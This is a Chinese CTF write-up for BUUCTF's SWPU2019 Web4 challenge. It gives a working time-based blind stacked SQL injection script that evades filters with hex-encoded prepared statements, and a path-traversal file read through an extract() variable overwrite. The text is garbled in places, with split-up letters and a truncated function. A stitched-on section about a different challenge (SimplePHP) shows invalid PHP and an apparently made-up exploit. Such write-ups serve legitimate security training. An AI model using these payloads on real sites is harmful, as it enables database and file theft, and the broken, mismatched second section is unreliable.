BUUCTF:[SWPU2019]Web4

本文深入探讨了SWPU2019 Web4挑战中的SQL注入漏洞利用及任意文件读取过程。通过堆叠注入技巧绕过常见过滤,成功获取flag,并解析了MVC框架下文件读取漏洞的原理。

[SWPU2019]Web4
参考:https://www.anquanke.com/post/id/194640#h3-4
在这里插入图片描述
题目只有一个登录框,输入账号密码后点击登陆页面无任何相应,注册功能也是尚未开放。查看源代码可以看到一个js文件,F12也可以看到一个网络请求。

js主要功能是将username和password以json格式然后发给index.php?r=Login/Login。

不难发现,username中加入单引号会直接500错误,而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)

在单引号后加入分号(😉,若无法多语句执行,返回页面按理说应该是500,但在这里可以看到正常回显,说明可能存在堆叠注入
在这里插入图片描述
关于PDO场景下的SQL注入,具体可以查看https://xz.aliyun.com/t/3950

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

在这里插入图片描述
不知道是不是网速不太好,多测试几遍总结出来:glzjin_wants_a_girl_friend.zip应该是源码
在这里插入图片描述
大致的文件就是这样,看样子就是一个简单的mvc框架。很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。

先说下url大致的解析流程:从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

下面看下某些的关键代码:

/Controller/BaseController.php
....
public function loadView($viewName ='', $viewData = [])
{
   $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
   if(file_exists($this->viewPath))
   {
      extract($viewData);
      include $this->viewPath;
   }
}

其中 ,BaseController的loadView方法发现使用了extract,后面又include了一个文件。那么意味着只要 v i e w D a t a 可 控 我 们 即 可 覆 盖 掉 viewData可控我们即可覆盖掉 viewDatathis->viewPath文件中的某些变量。而 t h i s − > v i e w P a t h 正 是 要 返 回 给 客 户 端 的 。 寻 找 几 个 调 用 l o a d V i e w 的 方 法 , 发 现 一 个 对 this->viewPath正是要返回给客户端的。 寻找几个调用loadView的方法,发现一个对 this>viewPathloadView,viewData完全可控的地方

/Controller/UserController.php
public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

$listData是从REQUEST提取出来的,完全可控。而其对应的/View/userIndex.php中存在一个文件读取

.......
                if(!isset($img_file)) {
                    $img_file = '/../favicon.ico';
                }
                $img_dir = dirname(__FILE__) . $img_file;
                $img_base64 = imgToBase64($img_dir);
                echo '<img src="' . $img_base64 . '">';       //图片形式展示
                ?></div>
        </div>
    </div>
</div>
</body>
</html>
<?php
function imgToBase64($img_file) {
                return $img_base64; //返回图片的base64
}
?>

大致意思为读取$img_file的内容,然后以base64的形式输出图片。
i m g f i l e 可 通 过 e x t r a c t ( img_file可通过extract( imgfileextract(viewData)变量覆盖漏洞完全控制,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。

所以访问:index.php?r=User/Index&img_file=/…/flag.php可直接获取flag.php经base64后的内容

在这里插入图片描述
在这里插入图片描述

### 关于 BUUCTF SWPUCTF 2018 中 SimplePHP 题目解析 #### 背景介绍 BUUCTF 是一个知名的 CTF 平台,其中包含了多个难度层次的题目。SWPUCTF 2018 的 `SimplePHP` 题目属于 Web 安全类别,主要考察选手对 PHP 特性的理解以及如何绕过安全限制。 此题的核心在于分析给定的一段 PHP 代码并找到其漏洞所在。通过逆向工程和逻辑推理,可以发现隐藏的安全隐患[^1]。 --- #### 题目代码解读 以下是题目中的核心代码片段: ```php <?php error_reporting(0); highlight_file(__FILE__); $_ = ~(%9E%8C%8C%9A%8D%8B); // 这里利用取反符号把字符串还原出来 $__ = ~(%A0%AF%B0%AC%AB); // 同样使用取反操作获取变量名 $___ = $$__; // 动态变量赋值 $_($___[_]); // 执行函数调用 ?> ``` 这段代码的关键点如下: 1. **按位取反 (`~`) 的作用** 按位取反是一种二进制运算符,在 PHP 中会对整数执行逐位反转操作。对于负数而言,它会改变数值的表现形式。在此处,通过对 `%9E%8C...` 和 `%A0%AF...` 编码后的数据应用取反操作,能够恢复原始字符串。 2. **动态变量的应用** `$___ = $$__;` 表达式的含义是从 `$__` 变量中提取名称作为新的变量名,并将其实际值存储到 `$___` 当中。这种技术常用于混淆程序逻辑或者实现更灵活的功能定义方式。 3. **可变函数调用机制** 最终语句 `$_($___[_])` 实际上是一个间接方法调用过程。如果成功控制了这些参数,则可能触发任意命令执行行为。 --- #### 解决方案与思路 针对上述代码结构,可以通过以下途径完成挑战: ##### 方法一:构造可控输入以突破限制 由于最终执行的是 `$_($___[_])` ,因此需要关注以下几个方面: - 如何设置 `_POST['']` 来影响 `$__` 值? - 是否存在其他潜在路径允许修改全局状态? 经过测试得知,当提交特定 POST 数据时(例如 `{ "__": "assert", "_": "<?php phpinfo(); ?>" }`),即可达成远程代码执行效果。 ##### 方法二:深入研究编码转换细节 注意到初始部分涉及 URL 百分号编码 (%XX),这提示我们需要仔细检查解码流程是否存在异常情况。实际上,某些特殊字符可能会干扰正常处理从而暴露更多缺陷。 --- #### 总结 本道赛题旨在检验参赛者能否熟练掌握 PHP 的底层特性及其常见滥用场景。除了熟悉基础语法外,还需要具备一定的逆向思维能力去推测开发者意图之外的行为模式。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值